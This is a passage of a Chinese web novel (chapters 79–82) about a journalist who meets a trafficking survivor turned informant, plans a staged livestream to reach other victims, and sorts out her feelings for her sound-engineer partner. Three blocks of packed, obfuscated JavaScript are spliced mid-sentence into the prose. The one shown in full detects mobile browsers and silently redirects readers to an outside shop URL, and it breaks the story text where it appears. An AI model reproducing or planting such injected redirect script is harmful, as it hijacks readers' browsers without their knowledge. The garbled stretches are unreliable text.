但这些都不是珍妮要关心的,她关心的,是一些更重要的事:“你举那个大话筒,赚钱吗?能养得起闻姐吗?” 齐寻面色冷硬,哼笑了声:“嗯,养不起。” “那怎么办?”珍妮当真了:“那你赶紧去赚啊,你让她跟着你吃糠咽菜?” 齐寻感觉自己额角狂跳,偏头去看书影,谁知书影丝毫不理他的求救,也一脸期待地看着他。 齐寻:“……” 今天不亮一亮家底是过不去了。 “柳北那样的小项目我不常接,因为钱少,不到六位数,大项目有七位数。还有个录音棚,一年能赚个大几百万,在京屿有车有房,她要是不喜欢,还可以重新买。另外,家里也算有点底子,下半辈子躺平也够了。”他看向珍妮,音调都高了半格:“够她吃了吗?” 珍妮显然对钱没太有概念,一耸肩:“还行吧。” 齐寻闭上眼睛,深深吸了口气。 青春期的孩子真的难搞,半个月前还送耳钉要跟他表白呢,换阵营换得也太快了。 …… 总之是在他耐心耗尽、让珍妮去罚站之前,说完了该说的,把她们送回房间了。 书影进门前,齐寻拉住她:“影姐……” 书影当然知道他要问什么:“火车上那些话,她不让我告诉你。” 齐寻道:“我是想问,那些话,是不是跟我有关?” 这句话落在走廊的长毛地毯上,轻轻落下了一个柔软的凹陷。 “有,也没有。”书影下了这么个模糊的结论:“但我觉得,她肯定知道该咋办。” 她拍了拍齐寻的肩:“你得信她。” 80. 第 80 章 发出那条好友申请后的第四天,黎叙闻终于收到了吴檀的回音。 吴檀没有回她小号那条故作模糊的好友申请,而是直接给她大号发了消息。 吴檀:安顿下来了? 吴檀:出了些状况,久等了。 彼时黎叙闻正在刷牙,看到消息连口都顾不上漱,咬着牙刷毛回她:“你什么时候有空,方便电话聊么?” 那边似乎守着手机,回的很快。 吴檀:见面聊吧,我到京屿了。 黎叙闻对着手机瞪大了眼睛。 反应过来后,她立刻拨了齐寻的电话,铃刚响了一声就被接起来:“喂?” 他昨晚熬了个大夜,这会儿刚躺下不久,声音倦哑得很:“闻闻?” “你今天有空吗,可能需要你来一趟,”她语速很快,用肩膀夹着手机,一边说一边换衣服:“吴檀来京屿了。” 黎叙闻的想法很简单,吴檀冒着这么大风险过来,之前又屡次给她线索、保护她,她也不该再有所保留,想把人直接带回家里,私密又安全。 谁料吴檀却拒绝了。 她发来的语音跟AI棒读似的:“我在云庐定了间包厢,请黎小姐赏脸。” 云庐是京屿市中心一家饭店,人流如织,要出点什么事,第二天可能会直接上总台。 ……她考虑了那么多,结果吴檀根本没全信她。 黎叙闻无语地给齐寻发消息:算了,你别来了。 拖着十八斤重的眼皮起床准备洗澡的齐寻:“……我还是过去一趟,万一情况有变呢。” 黎叙闻的回信比AI还硬。 叙我所闻:没必要,不来家里就不用演了,你忙你的吧,我的事我自己能解决。 齐寻眼神在这句话上倏忽一跳,眉心就生了疙瘩。 不知道是不是昨天影姐安慰的话起了适得其反的效果,越是劝他相信闻闻,他反而越不安。 好像又回到了十年前,有些事情他越是想握在手中,就流走得越快,不等他想出办法,就已经来不及了。 他对着手机发了会儿呆,心口木然地发闷。 即使他一再纠缠、甚至倾尽所有去靠近,她的边界依然泾渭分明——你是你,我是我,我的事就不劳你费心。 齐寻鼻腔中充斥着浴室潮湿的水汽,轻轻闭了闭眼。 柳北那个硝烟弥漫的晚上,她因为不信任而凌乱的呼吸,又响在他的耳边。 浴室里空无一人,带着热气的水顾自淅沥,把镜面染上一层朦胧的雾。 齐寻抬手擦了一把,看着镜子里的自己,在九月已然凉爽的天气里,半晌喘不过气来。 黎叙闻赶到云庐的时候,吴檀正坐在安静雅致的包厢里,颇有闲心地品茶。 她还是从头到脚都包得严实,颈间系着价格不菲的丝巾,饶是最近七月流火暑气消散,她这一身,也还是突兀得令人侧目。 听见动静,她冷冽的目光从杯中瞬间闪到门口,见是黎叙闻,才微笑道:“麻烦你跑这一趟,辛苦。” 黎叙闻坐在她对面,并不客套:“我没想到你会直接来京屿。” 吴檀看着她:“我也没想到,你用了这么久,才想到要联系我。” 语气中的审视和失望,箭一样一下子刺中了黎叙闻。 她眉头一抽,低头轻轻笑了下,没接话,转而脱了外套:“京屿这两天蛮热的,你的丝巾要不要先解了,凉快一下?” 这句话就是随口一问,因为感受到了吴檀的敌意,她不愿跟她针锋相对。 却没想到吴檀神色一滞,定定望了她一会儿,然后慢慢地,真的抬手把颈间的丝巾解了下来。 丝巾轻滑地从她颈边垂落,露出了脖颈两侧青紫的伤。 黎叙闻瞬间睁大了眼睛,甚至忘记了礼貌,直直地盯了那些痕迹好几秒。 那些伤尖部都是紫黑的椭圆,后面拖着青黄的长长的尾巴,一侧只有一道,另一侧有三四道。 任何人一眼就能看出,这是被人掐出来的。 基于吴檀的身份,这伤的始作俑者是谁,也就不难猜了。 黎叙闻视线被这几道青紫死死锁住,她难以想象蔡道全那张温润儒雅的脸,是以什么样的狰狞表情,扼住吴檀的脖颈,而吴檀又是怎么在这样的情况下活下来的。 她回想之前,早在她跟蔡道全吃饭的那天,面无表情陪坐的吴檀,就已经系上了这条丝巾。 吴檀大方地迎上她的眼神,读懂了她的惊异,淡声道:“黎记者该不会那么天真,觉得我这种人在他手下讨生活,还胆大包天地放走你,不需要代价吧。” 她没再往下说,而是屈指点了点放在手边的小小的一枚U盘:“我知道你在找什么。这里面,有你要的所有证据。” 黎叙闻心口重重一跳。 所有证据! 这是不是意味着她的计划可行? 先拖住蔡道全,牵制住他的公司,即便找不到刑事犯罪的证据,说不定经侦也能查出其他污点,至少在这段时间里,他们为了避风头,也会停止动作。 万事俱备,只要…… 只要吴檀愿意做那个内部举报人。 只差一步了,只差这一个问题,这一局她就赢了。 可黎叙闻看着那片几乎遮蔽了她半个颈子的青紫靛黄,像是自己的喉咙也被掐住似的,怎么都问不出口。 “先吃饭吧,”她拿起菜单,最后说:“你来京屿,我该尽地主之谊。” 吴檀却没动,半晌才说:“我跟姓蔡的来京屿,少说不下十回,京屿的名菜我不但会吃,还会做。”她抬手倒了杯茶,仰头一饮而尽:“黎小姐,你想问什么,尽管问吧,就今天,我知无不言,言无不尽。” 黎叙闻放下菜单,盯着她无机质一样的眼睛。 她有太多话想问了。 但采访需要循序渐进,需要等待时机,需要在对方放松警惕、以为能掌控局面的时候再一击毙命。 于是她选了她们的共同经历,作为开端。 “所以真的是你,你一直都在背后,给我们线索,替我们铺路,看着我们行动。你就不怕我们哪一步没发现,甚至没行动吗?” 吴檀唇边依然挂着精确的微笑:“你误会了,我所暴露的那些线索,是指引,也是考验。如果一开始在片场你没注意到我说的那句话,或是没有理解我让齐先生听到的会议,又或者你没有选择去救珍妮,那么我会立刻放弃你,再等其他机会。” 黎叙闻呼吸一滞:“……我跟蔡道全吃饭的那天晚上,如果我没发现你资料里夹着的证据,那……” “我会任由那些人带走你。”吴檀甚至不避讳眼神的交锋,直白道:“我不需要一个蠢人,蠢人是斗不过蔡道全的。” 黎叙闻在如春的包厢中,瞬间冷汗淋漓。 她以为她会面对一个孤注一掷、绝望地等待救赎的受害人,却没想到,她也好,齐寻也罢,都是对方手中一颗可以随时牺牲、随时抛弃的棋。 “我还是不明白,即使是考验,你也不该自己再给我上难度。”她稳了稳声线,冷静道:“你为什么要告诉蔡道全我是记者?” 吴檀看了她一阵子,慢慢说:“我没有告诉他。从头到尾,我没有跟任何人暴露过你的身份。” “你觉得你是什么寂寂无名的人吗?”她笑了下,道:“在你去柳北之前,我已经读过你很多篇报道,尤其是那个代孕案。所以在片场看到你的第一眼我就认出了你。至于蔡道全……” 每每提起这个名字,吴檀脸上的肌肉都会控制不住地轻颤一下:“他那天之所以约你吃饭,是因为那个代孕案判了。” 黎叙闻瞬间睁大了眼睛。 “你想得没错,”吴檀点头:“他跟那家机构有合作关系,输送了不少年轻的孕母。托你报道的福,那次的事成了恶性舆论事件,他们在商量最近去哪里避风头——我果然没有看错,你就是那个能把他拉下马的人。” 黎叙闻坐在对面,静静望着她脸上志得意满的笑意,手指不自控地蜷缩,身体的最深处生出一阵阵刺骨的寒意。 蔡道全能量之大,超过了她的想象,而这个女人在他手底下,不像是蛰伏多年苦心孤诣的反叛者,这一切于她而言,更像一场游刃有余的游戏。 出于记者的本能,她忽然对吴檀这个人产生了一种不可自拔的好奇。 “你刚刚说知无不言言无不尽,”她倒了杯茶,轻轻推到对面:“如果我想问的是你的经历,你也一样知无不言么?” 她开口就做好了被嗤笑着拒绝的准备——吴檀谨慎到狡猾的地步,把自己的故事告诉一个记者,不就跟把她的手放在自己的死穴上一样吗。 可吴檀突然笑了,不是讥讽的嘲笑,而是某种怪异的释然。 “如果这是你的条件,那么当然。” 她拿过茶杯,捂在掌心轻轻搓动,声音也像流水一般,慢慢地铺散在安静的包厢里。 “我之前的生活也没什么可说的,父母早亡,跟着奶奶长大,奶奶也过世之后,我就是孤儿了,念过的书不太多,家里没人也没钱,自然成了他们的猎物。” 吴檀跟其他女孩唯一不一样的一点,是她天生冷静。 在意识到自己陷入骗局、实际上是被拐卖了之后,恐惧和慌乱只持续了半个小时,她就开始观察关她们的地方,和看守她们的人。 她发现越是哭闹、越是反抗,能吃到饭的几率就越小,被拉出打得不成人形的可能性就越大。真正能每次都吃到饭、喝到水、不挨打的,是那些瑟瑟发抖,甚至呆滞的女孩。 于是她也学着她们的样子,扮演了一个胆小懦弱的受害者。 她最满意的一场戏,是在被抓后的第十五天,她们第一次被带去洗澡时,所有人都趁着这段时间无所不用其极地崩溃大哭、辱骂,只有她没有忘记自己的人设。 她脱光了站在镜子面前,眼睛湿漉漉地看着镜子里的自己,脸上尽是茫然。 ——她知道有人在看。 她知道有人在屋顶上,透过一个很小的圆孔,在观察她们的一举一动。 当天晚上就有人把她带到一个舒适温暖的房间里,告诉她,如果她能让那些女孩安静下来,公司对她会有特别的奖赏。 吴檀在热茶氤氲的水汽中飘忽地笑着:“那是我这辈子第一个管理岗。” 她靠着自己跟“上面”关系好,里应外合救下了几个该挨罚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴檀笑了:“我跟了他十二年,这十二年里,我们可以是任何一种你能想象的关系,不论高尚邪恶。他虐待我折磨我,但也供我读书、给我高位,让我看到我不可能看到的一切。” “唯一的代价,就是失去我自己。”顿了顿,她眯起眼睛:“这很简单,只要我不把自己当成一个人,就没什么不能忍受的。” 十二年足够长,长到这种养成的快感和骄傲,让蔡道全渐渐忘了提防隐藏在枕边暗处的獠牙。 他理所应当地把吴檀视为他自己的一部分,风平浪静时,最大的信任他也不会吝啬给,有什么风吹草动,用最狠的折磨来泄愤,他也不必有任何负担。 她也表现得太得宜,有时犯点无伤大雅的小错,让蔡道全有机会指正她惩罚她,有时又在关键时刻提出最合适的建议,并巧妙地把这一切都归功给蔡道全。 直到她一步一步,终于接近了整个公司的核心。 讲述到这里,吴檀忽然停住了。 她脸上蓦地晃过一瞬混沌的表情,就好像她刚从一场长长的梦中醒来,一时不知道自己是谁、身在何处。 这一刹那落进黎叙闻的眼底,漾起一丝幽微的波澜。 “这些年里,你犹豫过吗?”她问。 吴檀很快恢复了平静,轻笑了声:“犹豫?” 可下一刻她似乎又想起什么,抿了抿唇,道:“非要说的话,有那么一回。” 让黎叙闻意外的是,那不是什么惊涛骇浪、向死还生的大事,而是再平常不过的一瞬间。 那是吴檀跟着蔡道全的第一个夏天,蔡道全开会回来,随手给她抛来一样东西。 她接在手里,盯着陌生的果子。它长着青黄色的皮,表面覆盖着许多鳞片一样的凸起,长得像佛头似的,摸起来绵软,触手生凉。 “没见过吧,这叫释迦。”蔡道全心情似乎很好,找了个水果刀来,亲自给她切了一块,喂给她:“甜不甜?” 甜软如奶油一般的果肉送进吴檀嘴里,带着沙瓤口感的甜腻瞬间冲向她的眼睛。 吴檀蓦地起身跑去卫生间,把胃里所有东西都吐了个干净。 她听见蔡道全在外面冷哼了一声:“贱命一条,享不了福。” 她抬起头,看见化妆镜里的人面色苍白,脸颊瘦削,那是她第一次清醒地意识到,她已经远远离开了自己原本的世界,父母和奶奶教给她的那些道理、她年幼时的单纯和欣然,都已跟她毫无关系。 她早就回不了头了。 今后,她注定要吃不属于她的东西、做不属于她的事,尽心尽力地当一个玩偶,然后在某天被人厌弃,安静死去。 吴檀盯着镜子里的自己,突然笑了一下,转身回去,忍着胃里翻江倒海的恶心,在蔡道全惊异但欣赏的目光里,把软烂的释迦果一口不剩,全部都吃了。 ——那又如何。 吃他的东西、霸占他的世界,然后弄死他。 我就要这样活下去,我只能这样活下去。 活下去,才有一切可能。 “所以,黎记者,我知道你想问什么,但我不可能答应你。”吴檀对黎叙闻扬起一个公式般精准的微笑:“我不会去做内部举报人,也不会冒险去报警。我能做的,只是回去等着你的决定,是放弃,或是亲手把他,把我们,一起送进地狱。” 81. 第 81 章 这句话字字掷地有声,将黎叙闻心里一直不停浮现的那个答案,轻而易举说出了口。 她一点都不意外,吴檀会做出这种选择。 可就像靳言说的,经侦介入的门槛很高,没有内部举报人,吴檀拿来的那些证据,充其量也只能作为刑侦的辅助证据,不能单独拿来定蔡道全的罪。 这条路可能真的走不通了。 但她没有多做纠缠,转而问:“其余受害者呢?” 吴檀似乎讶异她没追问也没恳求,怔愣了下,才说:“我怎么知道?她们每个人都发誓出去之后要揭露这里的一切,但到现在为止,我没有听到任何消息。” 她一耸肩:“谁知道呢,也许都没有活下来。” 黎叙闻安静听完,点点头,说:“你跟我说这些,又拒绝我的要求,难道就不怕我一气之下把你身世爆出来,让你在蔡道全手里死无全尸吗?” 吴檀笑着看她:“你会吗?” 黎叙闻也一耸肩:“谁知道呢?” 吴檀噙着笑意,无奈地摇摇头:“黎小姐,有时候话说得太明,就没意思了。不过告诉你也行:只要让我听见这种风声,我会立刻放出公司有受害者将交易出清的消息,时间地点一定双手奉上。” “你跟你那个当录音师的搭档,都对救人有执念。”她两指轻轻弹了弹杯壁:“消息是真是假,你们敢赌吗?” 瓷杯表面发出一声极其细微的叮咚声,像一粒坚冰,落入静深的潭里。 黎叙闻一直看着她的眼睛。 这个女人,不吝于向她展示自己最恶毒的一面,为的是什么? 黎叙闻垂下眼睫,望着餐桌上投下的模糊阴影,忽然道:“我记得他们接走珍妮的那天,你也去了。” 吴檀摩挲杯子的手指忽然停下了。 “现在想想,你出现得非常突兀,好像就是为了恶心我,专门去的那一趟。”黎叙闻的视线划过她的手:“那天,你是去干什么的?” 吴檀舔了舔嘴唇,没有抬头。 “你是去看我走没走的。”黎叙闻自己回答了这个问题:“你怕我真的撂挑子回京屿,真的不管了。” 她上身微微前倾,道:“吴檀,你比我预料的,还要在意。” 吴檀眸光微动,始终平静如面具的表情,蓦地裂开了一线微小的罅隙。 而黎叙闻不准备就此放过她。 “还有我跟蔡道全吃饭的那天,如果我不得寸进尺要交投名状,提出报道你们竞争对手黑料的事,你打算怎么让我看到你准备的证据?”她趁吴檀露出的这一点破绽,乘胜追击:“你不会没想到那天蔡道全可能会把我扣下,既然你准备了那些东西,那么从一开始,你肯定有所安排——怎么保下我,你早就想好了。” 她向高至后颈的椅背靠去,笑容轮到了她的脸上:“你人都到京屿了,就不能真诚点?你今天会来,恰恰因为你根本没有你自己说的那么恶毒。” 吴檀终于抬起头看她,眼眶挣得极紧,整个脊背都绷起一道近乎痉挛的曲线。 “而且,我刚刚问你其他受害者,你为什么直接就联想到了逃出去的那些人?这么多年你真的没有出手帮过任何人逃离那里吗?她们的下落你真的不知道吗?吴檀,你这样对自己下狠手,这么努力让自己相信你就是一个冷血的混蛋……” 黎叙闻视线隔着桌子,近乎炽热,势在必得的笑意在她唇边缓缓绽开:“夜深人静的时候,你真的甘心吗?” 吴檀紧紧盯着眼前的桌面,整个脊背死死贴着冷硬的椅背,嘴唇退了血色,抖得厉害。 禇褐色的桌面,映出了她那张模糊而起伏不定的脸。 为什么,她明明自己都信了。 一个人要怎么才能掩饰自己的懦弱,要怎么才能在仇人的手上心安理得活下去。 她只是想活下去。 沉默了将近半分钟,吴檀深深吸了一口气,才带着潮湿的哑意说:“那几个逃出去的,我真的不知道她们在哪,我只知道,她们还没放弃。” 黎叙闻:“所以,你们还有联系?” “不,没有。”吴檀摇头:“我只是偶尔通过一些关系,辗转给她们打一些钱。” “是生活费?” “……是补偿。”吴檀一咬牙:“但上一次,她们托人告诉我,她们正在找律师。” “告诉你这个做什么?” “她们……”吴檀停了几秒,忽然很空洞地苦笑起来:“她们想让我跑。” 所有手起刀落、血肉横飞的撕扯都尘埃落定后,她们才有机会,心平气和地坐下来吃一顿饭。 “我还是那句话,”吴檀已经完全平静下来,恢复了她优雅且冷静的气场:“我不会做内部举报者,也不会去报警。” 黎叙闻给她盛了碗汤,语气跟唠家常似的:“但是蔡道全一旦倒台,我不觉得你能置身事外。” “那我至少也有他垫背,不是么,”吴檀把汤碗捧在手里,对她微笑:“我要么吃香喝辣苟且地活,要么跟他同归于尽一起去死。我这么努力活下来,不是为了去当炸药包的。” 黎叙闻失笑:“所以我生来就是炸药包的命,是吗?” 吴檀没有回答,低头抿了口咸鲜的汤。 鲜嫩的肉糜在汤中滚得软烂,切得细细的冬笋和香菇裹着粘稠的汤羹,散发着隐隐的酒香。 这东西她原本一辈子都不一定有机会吃。 可坐在对面的女人,却不一样。 “我听说你父亲原先是总台记者,你生在京屿,家境应该不错,”吴檀不动声色放下碗:“怎么想做这一行?女承父业?” 黎叙闻抿唇而笑:“原来是这么打算的,但干着干着就发现,当记者是离我想要的那个世界最近的一条路。” “我知道你想说什么,”她拿公筷给吴檀布菜:“这件事不会就这样了结,我会努力去找其他人证,连同你的证据一起,把蔡道全送进监狱。” 她看着吴檀:“总有人会愿意站出来。” 吴檀慢慢点了点头,低头安静吃菜,忽而又道:“总有人会比我像个好人。” 黎叙闻默了默,才说:“‘好人’这个词没有意义。我今天能说我不放弃,完全是因为我没有经历过你的境遇。”她放下筷子:“这应该是我们最后一次见面了。吴檀,我只想跟你说一句话——活下去,不管以后你要面对什么,你都要活下去。” 活下去,才有看到他们倒台、赎清罪孽、重新开始的那一天。 “当然,你现在是我的线人了,消息来源和你的隐私我都不会公开,”她话锋一转,轻松道:“得保护好我自己跟爱人,留得青山在不怕没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,”可能是对付吴檀真的太耗神了,黎叙闻此刻情商跟草履虫差不多:“是搞定了啊。” 齐寻:“……” 他到底在期待什么。 他捏捏内眼角,手上一边收拾东西,一边道:“我在做后期,可能要熬大夜。” 折腾了一整天,黎叙闻站在京屿九月傍晚忽起的邪风里听见这句,心里可不是滋味了。 让他陪一下就这么难! 烦人! 她忽然委屈得要命,对着电话就开始撒泼:“行,你做,你做吧!你不来算了!把我们家钥匙还给我!顺丰给我!” 齐寻人已经出录音棚的门了,还在嘴硬:“我就不会再配一把?” 黎叙闻还要再骂,凝神一听,听见他那边也有风声和车声。 可能近朱者赤,跟齐寻呆久了,她渐渐也对声音敏感起来,这就又高兴了:“你已经出门啦?” 齐寻板着脸:“素材音。” 那边黎叙闻网约车已经到了,关门嘭一声,好像都雀跃着:“你路上看看,有没有卖鸭脖的。” 82. 第 82 章 “……但其实,她的选择我也完全能理解。” 黎叙闻盘腿坐在茶几前的小地毯上,对着一茶几林琳琅满目的卤菜,吃得不亦乐乎。 “是不难理解,”齐寻坐在她身边,盯着她被辣得殷红的嘴唇:“很多人在生死关头连父母妻儿都能不顾,何况她每一天都是生死关头。” 一定是这句话太长,才会让他喉咙发干。 齐寻舔了舔下唇,挪开眼睛,可那个混着潮气和霉味的急促却柔软的吻,却在他脑海里挥之不去。 黎叙闻手指捏着一条鸭锁骨,低低笑了一声。 他们之前拼了命才从柳北逃出来,还害他受了伤,她本以为齐寻听完,多少会对吴檀这个人不忿。 但齐寻比她想象的,还要更懂她。 “笑什么,”齐寻问:“她没告诉你其他受害者的下落?” 黎叙闻摇头:“她说她不知道,大概还是没有必胜的信心,所以不敢暴露。但这已经是最后一条路了,我们必须找到她们,劝说她们以当事人身份出来曝光。” 齐寻看着她一片绯红的脸颊,问她:“大海捞针,你打算怎么找?” “不找,”黎叙闻把一截啃完的骨头随手丢进垃圾桶:“现在要做的,是让她们来找我。” 齐寻抽了张纸递给她:“已经想好怎么做了?” “有个大致的想法,但细节还没确定。” “嗯。” 这就没下文了。 黎叙闻奇道:“不问问我想怎么做?” “你自己想好就可以了,”齐寻低头收拾残局:“没必要问。” 他把手机揣回裤袋,站起身来:“你看看还有什么要扔的,我一会儿一起拿下去。” 黎叙闻眼睁睁看着他进洗手间洗手,想,这是不打算留宿的意思。 其实就他们的关系,不留宿才是对的,可问题是齐寻之前不惜撒“我想住得好点”这样的谎都要来她家里住,现在她不再赶人了,他反而不愿意了。 从柳北回来之后,到底发生了什么? 是不是……他放在她身上的耐心终于耗尽,那句笃定的“我可以等”,也终于过了保质期? 黎叙闻心上像拂过一阵藏着针的凉风,冰凉过后,绵密细微地疼。 她无知无觉掏出手机,点开小某书,在搜索栏地输入“如何拉进跟男性朋友的距离”。 她盯着这行字,搜索键却按不下去。 齐寻对她来说……只是一个“男性朋友”吗? 她大概不会对男性朋友无理取闹,让人家“不来就把我家钥匙顺丰给我”,更不会明知可能一去不回,还不管不顾地要回去找他吧? 光标悬停在搜索框里,她犹豫了两秒,抬头看了一眼洗手间,又怀着某种隐秘的期待,指尖蜷了蜷,改成了“男朋友”。 不愧是小某书,零点几秒之内就弹出了满屏的笔记。 黎叙闻满怀期待点开热度最高的一条,一看—— 卖情.趣.内.衣的。 黎叙闻:“……” 呵,以色侍人,就不能有点建设性吗? ……再说都这个点儿了,让她去哪儿买? 不等她找到答案,齐寻已经从洗手间出来,见她还在原地坐着,问:“没别的东西要丢?那我走了。” 黎叙闻迅速把手机扣下,只来得及垂下眼睫,盖住里面晃漾的失望:“哦,行。” 她起身把人送到门口,实在找不出什么强留的话可以说,只能道:“辛苦你来一趟,路上小心。” 齐寻嗯了声,视线在她倦怠脸上停留了一下,半只脚都踏出去了,动作却顿了顿,又收回来,扭头问她:“……今天这么累,能睡好吗?” 黎叙闻懵了一瞬:“啊,不知道。” 齐寻默了两秒,转身回来:“那我先不走,你去洗漱吧。” 黎叙闻定定看了他几秒,好不容易把嘴角绷住,道:“我去给你找睡衣。” “不用,别麻烦了,”齐寻拉住她:“等你睡着我就走。” …… 黎叙闻躺在床上闭着眼,双手交叠放在腹部,躺得极为平整,大脑却混沌着睡意全无。 她有种预感,她跟齐寻已经走到了十字路口,往左,是把话说清然后在一起,往右,是心照不宣、慢慢远离,而道路的尽头满是迷雾,她看不清到底哪一条,才能通向那个他不受伤的圆满结局。 她当然想选保护齐寻,因为她的出现对他来说本就是无妄之灾。 可是她的心,偏偏不答应。 不然她不会明知不应该,还本能地依赖,明知公事公办才最好,却依然想要更靠近一些。 但思绪一个转弯,她又想起吴檀那句近乎谶语的话:“他不像你的丈夫,他像你的信徒。” 齐寻一直守着她,这样不计成本地付出,已经够委屈了。 只有几面之缘的外人看得都如此清楚,她怎么就看不清呢? 想着想着,她心口轻缓地漫过一阵难以遏制的酸胀,竟替齐寻难过起来。 那个人正合衣躺在她身边,一动不动,呼吸平稳,尽心尽力地当一个睡眠辅助器。 黎叙闻蓦地心跳加速,一种难以名状的冲动驱使着她忽然开口:“齐寻,其实我……” 后半句话被蓦然缠上她腕骨的手指扼住。 “闻闻,”齐寻闭着眼睛,眉尖在轻轻震颤:“睡吧。” “不是,我只是……” “不,不要说。”他的手指近乎慌乱地攀缠上她的,声音压得很低,盖住了尾音里的恳求:“睡吧。” 等黎叙闻从纷乱的梦里醒来,旁边的被子已经铺平了。 天空还是一片墨色,她头疼欲裂地走出卧室,正要开灯,却见客厅踢脚线幽幽地亮着淡黄色的暖光,一路从她脚下流淌蜿蜒,好像她正站在一条温暖的河里。 她怔了很久,才想起来,这是去柳北之前,齐寻知道她怕黑,给她安的。 这么长时间,她都没好好在家住过,还没有什么机会享受这温柔的待遇,而他们之间却已经变了:那时候尚且有能针锋相对的底气,现在却虚浮着,连眼神接触都会默契地移开。 她嗤了声,打开了客厅的灯。 现在还不是想这些的时候,她还有更重要的正事要做。 一想到正事,她太阳穴又开始突突跳。 这种案子跟其他的不同,受害者的出现至关重要,如果她要曝光的是地沟油,那根本不必去找受害者,因为受害者遍地都是。 但她现在面对的,是人口拐卖,而且是极为谨慎、极为隐蔽的完整产业链,而她手上有的资源,又注定她不能像代孕案那样,从“购买方”介入调查。 于是她现在只剩下一条路可走。 她要用吴檀自述经历中的那些细节,虚构一个“受害者”,然后用靳言她们做的公益直播,让这个“受害者”公开求助,再尽可能扩大影响,把藏在暗处真正的受害者“钓”出来。 既然吴檀说她们已经在寻找合适的律师,那她们就不应该放过这么好的机会。 她坐在客厅里坐了两个小时,洋洋洒洒写了一整篇的受害者生平,自己读了三四遍,觉得已经足够扎实了,便趁上班带到报社,去跟季筝商量。 季筝看了两行,无语地抬头看她:“你这篇写得……” 黎叙闻充满期待:“怎么样?” “不及格。” 黎叙闻脸一下子垮了。 季筝沉吟道:“一股子报纸味儿。” 黎叙闻摸了下耳垂:“我担心我一开口就暴露。” “别担心。” “嗯,我会……” “暴露是一定的事。到时候你不但钓不出受害者,整个商报都要被你拉下水。” 黎叙闻:“……” 季筝转头去招手:“小茉!” 小茉哒哒哒跑过来:“哎,老大!” 季筝把稿子拍进小茉怀里,对黎叙闻道:“小茉先借给你,你别上了,注意保护自己,让她上。” 小茉一头雾水,眨巴着眼睛:“老大,我要去给闻姐当肉盾啊?” 季筝笑:“不乐意?” “乐意乐意,”小茉点头如捣蒜:“保证完成任务!” 跟靳言团队充分沟通后,直播定在第三天晚上。 为了保证效果,黎叙闻和直播团队跟靳言在办公室直播,小茉被独自安排在另一间办公室,等待场子热起来后,再打进电话。 黎叙闻站在直播间的最外围,静静看着直播团队各司其职,心里的紧张一阵强似一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116170|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵,不停拍打她的意识。 这次直播往小了说,是业内一点人尽皆知的小手段,往大了说,她这就是在暴受害者的隐私。 整个商报都被她拖下水了,如果不行呢?她想,如果这次不行,还有什么路可以给她走? 前路漫漫,可她什么都看不清。 手机在口袋里无声地震动起来,她拿出来一看,竟然是安静了好几天的齐寻,好像就知道她现在想跟人说话似的。 齐寻:在忙? 黎叙闻低头看了一眼,微微笑了下,把手机揣回口袋,努力听了一阵子靳言正在接的电话,又忍不住似地掏出手机,回:“在靳言这里,一会儿要电话直播。” 想了想,又打:“你要是有兴趣的话也可以看看,没兴趣就算了。” 发出去的瞬间她就后悔了。 这什么委委屈屈的欲盖弥彰! 那边却没再回。 这时候,直播助理跑过来,附在她耳边悄声道:“黎记者,差不多了。” 黎叙闻心一下子提起来,飞快给小茉发了微信:小茉,开始吧。 十几秒后,电话如约接通了。 免提中传来小茉小心谨慎的一声“喂?”,直播间一下子从刚刚出轨离婚抢家产的狗血八点档,掉进了沉郁的氛围里。 黎叙闻心里稍安,心想起码小茉是稳了。 “我想请问一下……如果我朋友,不是,如果我家里人,之前失踪了一段时间,现在回来了,但精神上、精神上有点问题……”小茉的声音又虚又抖:“那中间那些欺负过她的人,还能被抓吗?” 这一段完全是她自己发挥的,黎叙闻不禁在心里叫好,改得真是漂亮! 靳言按照之前排练的,一下子肃起脸:“是什么意思呢?说清楚一点,你是哪里人?你亲戚是被人带走的吗?” “我是柳北的……就是,就是走失了,不是,是去打工的。”那边颠三倒四:“但不是真的打工,是叫人给骗去了。” 完美开局之后,靳言循循善诱,小茉东拉西扯,零碎而完整地,呈现了一个被“高薪工作”所拐卖的受害者,历尽千辛万苦逃出来后,艰难却不认输的生活。 黎叙闻听得都恍惚了。 这些都是假的吗? 到底是她自己编出来的,还是成百上千个受害者集体在她耳边低语,握着她的手,在键盘上敲出来的血泪? 小茉带着浓重的鼻音断断续续讲,在某句话的间隙里,忽然插了这样一句:“我发烧都快四十度了,他们才给我药吃……我差一点就死了……” 黎叙闻猛地一抬眉,对上了靳言貌似不经意扫过来的眼神。 这句不是稿子里的话。 以她的谨慎,吴檀没有说过的细节她绝不会往上写,这完全是小茉自己发挥的。 靳言一边听,一边柔和坚定地引导:“你放心,这已经涉及到非法监禁,只要你能站出来,他们是一定会被判刑的。” 而黎叙闻立刻转身去了小茉那边,隔着透明办公室的门给她打手势:收一下,不要再发散了。 小茉正被自己的表演弄得涕泪横流,见她过来,打了个OK的手势。 黎叙闻手机又响,又是齐寻。 他一改言简意赅的风格,竟然连着发了三条语音。 “弹幕里那个人是谁?也是你们安排的吗?” “不对,这人你认识?” “快看弹幕!” 黎叙闻立刻切回直播间,果然看见有一个全是数字的id,顶着火爆的各种评论,几乎刷屏: “你是谁?” “你放屁!你放屁!” “他们根本不会给药吃!你胡说八道!” 